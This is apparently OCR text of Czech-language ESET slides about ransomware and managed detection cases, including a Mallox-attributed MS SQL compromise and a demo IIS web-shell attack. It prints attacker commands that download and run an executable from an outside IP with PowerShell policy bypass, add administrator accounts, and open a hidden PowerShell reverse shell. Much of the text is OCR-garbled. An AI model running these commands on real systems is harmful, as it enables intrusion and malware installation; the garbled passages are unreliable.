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welivesecurity

CosmicBeetle steps up:
Probation period at
RansomHub

CosmicBeetle, after improving its own ransomware, tries its luck
as a RansomHub affiliate

Jakub Soucek
10 Sep 2024 , 25 min. read

ESET researchers have mapped the recent activities of the
CosmicBeetle threat actor, documenting its new ScRansom

welivesecurity

ESET Research

First known Al-powered
ransomware uncovered by
ESET Research

The discovery of PromptLock shows how malicious use of Al
models could supercharge ransomware and other threats

Anton Cherepanov: Peter Strycek
26 Aug 2025, 2 min. read

UPDATE (September 39, 2025): ESET Research has been
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Ransomware Monitoring

+  22victims
) e Detection Date e - 5
*Claimed* Victim Ransomware Gang (UTC+0) Ransomware URL Victim Site Victim Country Industrial Sector
Building Materials,
@ LockBit st.cz Czech Republic Hardware, Garden Supply,
And Mobile Home Dealers
@ DarkPower .cZ Czech Republic Transportation Equipment
@ PLAY car.cz Czech Republic Railroad Transportation
® PLAY .62 Czech Republic 0il, Gas
@ PLAY praha.cz Czech Republic 0il, Gas
Administration Of
@ LockBit r.cz Czech Republic Environmental Quality
And Housing Programs
@ LockBit om Czech Republic Defense industry
@ cc| com LockBit ities.com Unknown Unknown
® Hive ex.cz Czech Republic Real Estate
@ (- rman BlackCat (ALPHV) W USA Legal Services
@ Everest cz.com Czech Republic Metal Industries
Machinery, Computer
® v 6z Czech Republic Equipment
Holding And Other
@ nts BlackByte roup.cz Czech Republic I ent Offices
Security And Commedity
O] LockBit .cZ Czech Republic Brokers, Dealers,
Previous 1 Next
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Odvracena strana
EDR (XDR) nefunguje automaticky
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Unikatnimi

pro automatizovanou detekci
malwaru a odhalovani manualnich
go2iaé :
12Y0AY Il OA dzYStS AYyUuUSft AISYOS:
odbornych znalosti a rychléakce

6SI ydziy2aidA YNOG GftFaldyN 06SI LISOEYz
specialistyLIN2 OS G njdz2 NON AYOARSY (@&

Anti-malware Cloud sandboxing EDR (XDR) Cloud protection

Firewall HyperV scanner Email protection NAS protection
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Rychlostdetekce &reakce
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ESET MDRstatistiky
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Management
Agent




==l
u %°’rogramData %
i %ProgramFiles%\

—
-

C:\ > net user /add
C:\>net localgroup
C:\ > net user /add
C:\>net localgroup
C:\ > net user /add
C:\>net localgroup

\ MeshAgent.exe

administrators

administrators

administrators

[add

/add

/add



Administrator T F6FEf LINR2OI RSO ONOS £ y2aiN
LINjS & NEIS NB S (AV, EDR)

Stahnuti EXE (EDR)

Detekovano pomoci ESET RTS jako (AV)

Zranitelnost veVeeamBackupand ReplicationdzY 2 O z d28 [\ OJ\I 1N RSO L
gRIr28 1S T4t+f2K20F ONK?2 .
A\ Threat found

A threat ( MSIL/Exploit.CVE-2023-27532.A ) was

found in a file that # Mesh Agenttried toaccess

rn more about this message
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Incident actions

ESET MDR tym zareagoval

MeShAgenﬂ. FI{ I f C’)N é, LJdZé l:l 7\ l:l Sf y- S é & End computer isolation .
Y2YLINREYAG2OlIYS T nNISYyN o0& Kill p

® Block executable

i é L,I 62 njéy 7\ y.éA Iv?éy.lj é‘ LJZ L'JA é‘ S Unblock executable
Lt | RNBAIl LInjA Rblatklisty I It 201t f g

INCIDENT ACTIONS W7

YEASYOG20A Laleéedydzil T+ {1fFRYN RZRIUSE

' OAGI G6SES 1S avlit yNy
Sys, system, systeml

IP adresa k zablokovani na perimetrovych firewallech:
91[.]92.246.183
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7a oponou kybertitoku kompromitaceMS SQL &

A Opakujici se detekce na cilovém portu 1433 (AV)
A 82 dzoA aS2NONOK & yS2o00éelfeéeyvYAar L

Administrator: GA\Windowd system32cmd.exe

%SYSTEMemd.exe "C:\ Windows \ System32\\ cmd.exe" /C echo $cl = New - Object

System.Net.WebClient >C:?\ ProgramData\ \ updt.psl & echo
$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ProgramData\\ tzt.bat ")>>

C:?\ ProgramData\ \ updt.psl & powershell ZExecutionPolicy @ Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create "C:? \ ProgramDatal\ \ tzt.bat



Za oponou kyberutoku kompromitaceMS SQL @

w21 62N LInfjN1 T &y
+ & (I OPowSFhi | NAJEUIRDZ wiN@ md G NOSY N Fdzi2YF GAT 208 yS RSGS10O0S 1+
Administrator: G\Windows system32cmd.exe

%SYSTEMemd.exe "C:\Windows \ System32\\ cmd.exe" /C echo $cl = New - Object System.NetWebClient >C:?\ ProgramData\\ updt.psl &
echo $ cl.DownloadFile (" hxxp://80.66.75[.]147/ Dxccaejs.exe ", "C:? \ProgramData\\tztbat ")>>C:? \ProgramData\\ updtpsl

{1INX LI adzlJRGDPLIAMG 20 & lp&ydeRipn@NMaruLI?2 {1 dza 2 T FadnSys aidl OSyN

hoS2AGN 06SI LIS6y2aidyN Ll2ftAGAIE a{ LINB [ I6STLIS6SYyS alkldzOiSy N &1 NX LJi &

Administrator: GAWindows system32cmd.exe

powershell ZExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.psl

Skryti zdroje GtoklLgnjS NHzOS Yy N a G NP Ydz LINR OS&a4 0
Administrator: G\Windowd system32cmd.exe

WMIC process call create "C:? \ ProgramData\ \ tzt.bat



kompromitaceMS SQL &

ESET MDR tS/m Zareagoval Incident actions
-
Napadeny Seiisy IZOIOvan & End computer isolation

+ é l:l @2 njéy 7\ y.é)\ Iv?Sy‘l] é. LJ2 LJ?\ é K Kill processes f Jf y

@ Block executable

Bl 6 NJ y’éy‘z N.J y-é 2 WMallbx NP és Ydz o Unblockexecutable

INCIDENT ACTIONS W7

YEASY(U20A Llajedaydzil T+1€ftFRYN R2RIGS6

T ol A EAOCAT Ol AAE ONEOAOAIL -3 31, 3A00OAO
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atribuce RaaSMallox

Administrator: G\Windowd system32cmd.exe

%SYSTEMémd.exe "C:\ Windows \ System32\\ cmd.exe" /C echo $cl = New - Object
System.Net.WebClient >C:?\ ProgramData\ \ updt.psl & echo

$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ProgramData\\ tzt.bat ")>>

C:?\ ProgramData\ \ updt.psl & powershell ZExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create "C:? \ ProgramData\ \ tzt.bat "

Ly
< SentinelOne

"\ "C: \\ Windows \\\ System32\\\\ cmd.exe\ " /C echo $cl
= New Object System.Net.WebClient >
C:\ Users\ MSSQLSAAppData\ Local \ Temp updt.psl & echo

/C echo $cl = New - Object System.Net.WebClient
>%TEMRWUpdt.psl & echo

$cl.DownloadFile (" hXXp//80[.]66.75]]]].40/ XXXXX
XXXX.exe', "% TEMP% xxxx.exe ") >> %TEMP% updt.psl

& powershell - ExecutionPolicy  Bypass
%TEMR%pdt.ps1 & WMIC process call create

"% TEMPOEXXXXXXX.exé

$cl.DownloadFile  (\"hxxp://80.66.75[.]36/ aRX.exe\ ",

\ "C: \ Users\ MSSQLS~RAppData\ Local \ Temp tzt.exe \")>>
%TEMRYwupdt.ps1 & powershell - ExecutionPolicy

Bypass C: \ Users\ MSSQLS~ARAppData\ Local \ Temp updt.psl
& WMIC process call create

\ "C: \ Users\ MSSQLS~AAppData\ Local \ Temp tzt.exe \"™




atribuce RaaSMallox

Administrator: G\Windowd system32cmd.exe

%SYSTEMémd.exe "C:\ Windows \ System32\\ cmd.exe" /C echo $cl = New - Object
System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo

$cl.DownloadFile (" hxxp://80.66.75[.]47 Dxccaejs.exe ","C:? \ProgramData\\ tzt.bat ")>>
C:?\ ProgramData\ \ updt.psl & powershell ZExecutionPolicy @ Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create "C:? \ ProgramDatal\ \ tzt.bat

Ly
< SentinelOne

hXXp//80[.166.75]]]].40

hxxp://80.66.75[.]36




atribuce RaaSMallox

Administrator: G\Windowd system32cmd.exe

%SYSTEMémd.exe "C:\ Windows \ System32\\ cmd.exe" /C echo $cl = New - Object

System.Net.WebClient >C:?\ ProgramData\ \ updt.psl & echo
$cl.DownloadFile (" hxxp://80.66.75[.]147/ Dxccaejs.exe ","C:? \ProgramData\\tzt.bat ")>>

C:?\ ProgramData\ \ updt.psl & powershell ZExecutionPolicy @ Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create "C:? \ ProgramData\ \ [tzt:0at

Ly
< SentinelOne




atribuce RaaSMallox

Administrator: G\Windowd system32cmd.exe

%SYSTEMémd.exe "C:\ Windows \ System32\\ cmd.exe" /C echo $cl = New - Object
System.Net.WebClient >C:?\ ProgramData\ \ updt.psl & echo

$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ","C:? \ProgramData\\tzt.bat ")>>

C?2\P Datal\ ! ltpsl & powershell ZExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create \ ProgramDatal\ \ tzt.bat

Ly
< SentinelOne

WMIC process call create
. WMIC process call create




atribuce RaaSMallox

Administrator: G\Windowd system32cmd.exe

%SYSTEMemd.exe "C: \ Windows \ System32\\ cmd.exe" [/Cecho$cl ew - Object

System.Net.WebClient >C:?\ ProgramData\ \ updt.ps1 & echo
$cl.DownloadFile (" hxxp://80.66.75[.]147/ Dxccaejs.exe ","C:? \ProgramData\\tzt.bat ")>>

C:?\ ProgramData\ \ updt.psl & powershell ZExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create "C:? \ ProgramDatal\ \ tzt.bat

-
< SentinelOne

/C echo $cl /C echo $cl




atribuce RaaSMallox

Administrator: G\Windowd system32cmd.exe

%SYSTEMémd.exe "C:\ Windows \ System32\\ cmd.exe" /C echo $cl = New - Object
System.Net.WebClient >C:?\ ProgramData\ \ updt.psl1 & echo

$cl.DownloadFile (" hxxp://80.66.75[.]47/ Dxccaejs.exe ", "C:? \ProgramData\\tzt.bat ")>>
C:~\ ProgramData\ \ updt.ps1 powershell ZExecutionPolicy  Bypass C:? \ ProgramData\ \ updt.psl &
WMIC process call create "C:? \ ProgramData\ \ tzt.bat

Ly
< SentinelOne

MR%pdt.psl
% TEMRYupdt.psl




atribuce RaaSMallox

MALLOX

Operator Mallox - Ransomware as a Service
¢ JANDA NI yaz2vyYgl Nz
Aktivniod roku 2021
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File Actions Edit View Help

Boot Time: 4/19/2024 7:45 AM
EELINNING IIS5 ATTHLCKE e =
. i Host Name: WEB-LOSA-01
User Name: DEMO\administrator
|
0S Varcinn: Windaue Sarvar 2822 w2TH? (2034R_R4AR)

d» - O X

EEler) SERVER SECURITY

08 Monitoring LOg files
Log files
Scan .. O.. Object Detection Action  User Information Hash
Update
Setup

Tools

@D o@

Help and support

Filtering

Progress. Protected

7:49 AM
AN OB e 4o B

- Type here to se
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a
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File Actions Edit View Help

EELINNING II5 ATTALK

HEESHELL PLALEHENT
-DETELTED-

—— Uploading WebShells to victim 10.0.0.27

Uploading WebMembersl.aspx 550 Access is denied.
Uploading WebMembers2.aspx 550 Access is denied.
Uploading WebMembers3.aspx 550 Access is denied.
Uploading WebMembers4.aspx 550 Access is denied.
Uploading WebMembers5.aspx 550 Access is denied.

webshells blocked ——
Press any key to continue.

-LUSTORIZED-

—— Uploading WebShell WebMembers.aspx to victim 10.0.0.27 ——

Boot Time: 4/19/2024 7:45 AM
Machine Domain: DEMO
P Host Name: WEB-LOSA-01
B User Name: DEMO\administrator
08 Varcinn: Windnue Sarvar 2022 u21H? (20348 G4AR)

d - O X

08 Monitoring LOg files
S Log files
Q Scan o O Detection Action  User Information  Hash
3 Update
@ Setup
B Tools
©)

Help and support

Filtering

Progress. Protected

7:50 AM
4/19/2024 %

i
3
0]

A0 ds




File Actions Edit View Help

EELINNING II5 ATTALK

HEESHELL PLALEHENT
-DETELTED-

—— Uploading WebShells to victim 10.0.0.27

Uploading WebMembersl.aspx 550 Access is denied.
Uploading WebMembers2.aspx 550 Access is denied.
Uploading WebMembers3.aspx 550 Access is denied.
Uploading WebMembers4.aspx 550 Access is denied.
Uploading WebMembers5.aspx 550 Access is denied.

webshells blocked ——
Press any key to continue.

-LUSTORIZED-

—— Uploading WebShell WebMembers.aspx to victim 10.0.0.27
Uploaded: ./ReqFiles/webShells/JamesCustom.aspx to WebMembers.aspx

Sending commands to WebShell for execution
send command> ping rGZ3H2NdHil79WiMRjHbrjC4ZLSAVS.burpcollaborator.net -n 1
send command> powershell -nop -w hidden -enc L} ZABy

8 Monitoring
Log files
Scan
Update
Setup

Tools

@& o a

Help and support

Starting Powershell Reverse Shell and wating for connection
listening on [any] 80 ...

connect to [103.79.143.101] from WEB-LOSA-01.demo.lan [10.0.0.27] 49823
Press any key to continue.

INITIAL DISCOVERY
-ACCOUNTS-

send command> whoami

Progress. Protected

Boot Time: 4/19/2024 7:45 AM
Machine Domain: DEMO

Host Name: WEB-LOSA-01

User Name: DEMO\administrator

Windawe Sarvar 2822 v21H? (2834R_ 64\
d - O X

08 Varcinn:

Log files

Detection Action  User Information  Hash

Filtering

7:50 AM

A OB e 4o B






